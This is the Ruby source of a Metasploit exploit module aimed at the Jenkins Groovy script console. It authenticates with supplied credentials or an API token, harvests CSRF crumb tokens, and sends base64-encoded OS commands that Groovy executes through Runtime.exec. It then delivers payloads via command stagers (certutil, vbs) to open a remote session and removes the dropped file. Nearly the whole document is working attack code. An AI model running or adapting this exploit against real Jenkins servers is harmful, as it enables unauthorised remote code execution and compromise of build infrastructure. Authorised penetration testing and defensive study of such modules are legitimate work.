## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HTTP::Jenkins def initialize(info = {}) super( update_info( info, 'Name' => 'Jenkins-CI Script-Console Java Execution', 'Description' => %q{ This module uses the Jenkins-CI Groovy script console to execute OS commands using Java. }, 'Author' => [ 'Spencer McIntyre', 'jamcut', 'thesubtlety' ], 'License' => MSF_LICENSE, 'DefaultOptions' => { 'WfsDelay' => '10' }, 'References' => [ ['URL', 'https://wiki.jenkins-ci.org/display/JENKINS/Jenkins+Script+Console'] ], 'Platform' => %w[win linux unix], 'Targets' => [ [ 'Windows', { 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Platform' => 'win', 'CmdStagerFlavor' => [ 'certutil', 'vbs' ] } ], ['Linux', { 'Arch' => [ ARCH_X64, ARCH_X86 ], 'Platform' => 'linux' }], ['Unix CMD', { 'Arch' => ARCH_CMD, 'Platform' => 'unix', 'Payload' => { 'BadChars' => "\x22" } }] ], 'DisclosureDate' => '2013-01-18', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE, ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ], 'Reliability' => [ REPEATABLE_SESSION, ] } ) ) register_options( [ OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]), OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]), OptString.new('API_TOKEN', [ false, 'The API token for the specified username', '' ]), OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ]) ] ) self.needs_cleanup = true end def post_auth? true end def check uri = target_uri uri.path = normalize_uri(uri.path) uri.path << '/' if uri.path[-1, 1] != '/' res = send_request_cgi({ 'uri' => "#{uri.path}login" }) if res && res.headers.include?('X-Jenkins') return Exploit::CheckCode::Detected else return Exploit::CheckCode::Safe end end def on_new_session(_client) if !@to_delete.nil? print_warning("Deleting #{@to_delete} payload file") execute_command("rm #{@to_delete}") end end # This method takes a command and options then attempts to make a request and returns a response # # @param [String] cmd The cmd used # @param [String] _opts Request options # @return [Rex::Proto::Http::Response, nil] res The result of the request def http_send_request(cmd) request_parameters = { 'method' => 'POST', 'uri' => normalize_uri(@uri.path, 'script'), 'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN']), 'vars_post' => { 'script' => java_craft_runtime_exec(cmd), 'Submit' => 'Run' } } request_parameters['vars_post'][@crumb[:name]] = @crumb[:value] unless @crumb.nil? send_request_cgi(request_parameters) end # This method takes a command and options then attempts to make a request to send the command # # @param [String] cmd The cmd used # @param [String] _opts Request options # @return [Rex::Proto::Http::Response] res The response of the request def http_send_command(cmd, _opts = {}) res = http_send_request(cmd) fail_with(Failure::Unknown, 'Failed to execute the command.') if res.nil? # Attempt to login if we haven't previously if res.code == 401 && !@attempted_login print_status('Authentication required for Jenkins-CI Groovy script console - Logging in...') attempt_jenkins_login res = http_send_request(cmd) end fail_with(Failure::Unreachable, "#{peer} - Could not connect to Jenkins - no response") if res.nil? fail_with(Failure::UnexpectedReply, "#{peer} - Unexpected HTTP response code: #{res.code}") if res.code != 200 res end def java_craft_runtime_exec(cmd) vars = Rex::RandomIdentifier::Generator.new( Rex::RandomIdentifier::Generator::JavaOpts ) jcode = <<~JCODE String #{vars[:encoded]} = "#{Rex::Text.encode_base64(cmd)}"; byte[] #{vars[:decoded]}; try { #{vars[:decoded]} = Base64.getDecoder().decode(#{vars[:encoded]}); } catch(groovy.lang.MissingPropertyException e) { Object #{vars[:decoder]} = Eval.me("new sun.misc.BASE64Decoder()"); #{vars[:decoded]} = #{vars[:decoder]}.decodeBuffer(#{vars[:encoded]}); } JCODE jcode << "String[] #{vars[:cmd_array]} = new String[3];\n" if target['Platform'] == 'win' jcode << "#{vars[:cmd_array]}[0] = \"cmd.exe\";\n" jcode << "#{vars[:cmd_array]}[1] = \"/c\";\n" else jcode << "#{vars[:cmd_array]}[0] = \"/bin/sh\";\n" jcode << "#{vars[:cmd_array]}[1] = \"-c\";\n" end jcode << "#{vars[:cmd_array]}[2] = new String(#{vars[:decoded]}, \"UTF-8\");\n" jcode << "Runtime.getRuntime().exec(#{vars[:cmd_array]});\n" jcode end def execute_command(cmd, _opts = {}) vprint_status("Attempting to execute: #{cmd}") http_send_command(cmd.to_s) end # This method makes calls to multiple methods to handle Jenkins login attempts def attempt_jenkins_login @attempted_login = true login_uri = jenkins_uri_check(@uri, keep_cookies: true) status, _proof = jenkins_login(datastore['USERNAME'], datastore['PASSWORD'], login_uri) if status == Metasploit::Model::Login::Status::INCORRECT fail_with(Msf::Module::Failure::NoAccess, "Incorrect credentials - #{datastore['USERNAME']}:#{datastore['PASSWORD']}") elsif status == Metasploit::Model::Login::Status::UNABLE_TO_CONNECT fail_with(Msf::Module::Failure::UnexpectedReply, 'Unexpected reply from server') end end def exploit @attempted_login = false @uri = target_uri @uri.path = normalize_uri(@uri.path) @uri.path << '/' if @uri.path[-1, 1] != '/' print_status('Checking access to the script console') res = send_request_cgi({ 'uri' => "#{@uri.path}script" }) fail_with(Failure::Unknown, 'No Response received') if !res @crumb = nil if res.code != 200 if datastore['API_TOKEN'].present? print_status('Authenticating with token...') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(@uri.path, 'crumbIssuer/api/json'), 'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN']) }) if (res && (res.code == 401)) fail_with(Failure::NoAccess, 'Login failed') end else print_status('Logging in...') attempt_jenkins_login res = send_request_cgi({ 'uri' => "#{@uri.path}script" }) if res.code == 403 fail_with(Failure::NoAccess, "#{datastore['USERNAME']} does not have permissions to complete this request") elsif res.code != 200 fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') end end else print_status('No authentication required, skipping login...') end if res.body =~ /"\.crumb", "([a-z0-9]*)"/ print_status("Using CSRF token: '#{Regexp.last_match(1)}' (.crumb style)") @crumb = { name: '.crumb', value: Regexp.last_match(1) } elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ || res.body =~ /"crumb":"([a-z0-9]*)"/ print_status("Using CSRF token: '#{Regexp.last_match(1)}' (Jenkins-Crumb style v1)") @crumb = { name: 'Jenkins-Crumb', value: Regexp.last_match(1) } elsif res.body =~ /data-crumb-value="([a-z0-9]*)"/ print_status("Using CSRF token: '#{Regexp.last_match(1)}' (Jenkins-Crumb style v2)") @crumb = { name: 'Jenkins-Crumb', value: Regexp.last_match(1) } end case target['Platform'] when 'win' print_status("#{rhost}:#{rport} - Sending command stager...") execute_cmdstager({ linemax: 2049 }) when 'unix' print_status("#{rhost}:#{rport} - Sending payload...") http_send_command(payload.encoded.to_s) when 'linux' print_status("#{rhost}:#{rport} - Sending Linux stager...") execute_cmdstager({ linemax: 2049 }) end handler end end